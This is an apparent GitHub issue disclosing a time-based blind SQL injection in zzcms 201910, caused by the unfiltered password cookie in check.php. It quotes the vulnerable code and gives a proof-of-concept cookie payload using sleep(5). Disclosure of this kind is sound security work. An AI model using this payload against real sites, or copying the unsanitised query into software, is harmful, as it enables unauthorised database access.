New issue

Jump to bottom

zzcms.ver201910 Blind SQL injection vulnerability based on time #1

Open **Pandora1m2** opened this issue on Jun 12, 2020 · 0 comments

Pandora1m2 commented on Jun 12, 2020 Owner

Software download address:

```
http://www.zzcms.net/download/zzcms201910.zip
```

Operation environment requirements:

```
Apache, IIS, etc
PHP4 / PHP5 / PHP7
MySQL 4/5
```

Here is a global filter at /inc/config.php

```
define('stopwords','select|update|and|or|delete|insert|truncate|char|into|iframe|script| //line 47
```

At first, you need to register an enterprise account at the website, /reg/userreg.htm
Then, login in at /user/login.php and jump to /user/daohang_company.php

daohang_company.php:

```
include("check.php"); //line 3
```

check.php:

```
$username=nostr($_COOKIE["UserName"]);//line 7
$rs=query("select id,usersf,lastlogintime from zzcms_user where lockuser=0 and username='".$username."' and password='".$_COOKIE["PassWord"]."'");//line 9
```

Function nostr() at /inc/stopsqlin.php:

```
function nostr($str){
$sql_injdata = "',/,\,<,>,,select";
$sql_inj = explode(",",$sql_injdata);
for ($i=0; $i< count($sql_inj);$i++){
if (@strpos($str,$sql_inj[$i])!==false){
showmsg ("含有非法字符 [".$sql_inj[$i]."] 返回重填");
}
}
return $str;//没有的返回值
}
```

this Function filter "'", "", "/", "<", ">", "select", check.php call this Funtion but forget the parameter "password" in the cookies at line 9（check.php）,So we can Sql injection in cookies

Poc:

Just login and modify the value of cookie then refresh(F5).

```
url: /user/daohang_company.php
Cookie:{"Password","e10adc3949ba59abbe56e057f20f883e' && if(1=1,sleep(5),0)--+"}
//e10adc3949ba59abbe56e057f20f883e is the Original cookie after login, don't change it.
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant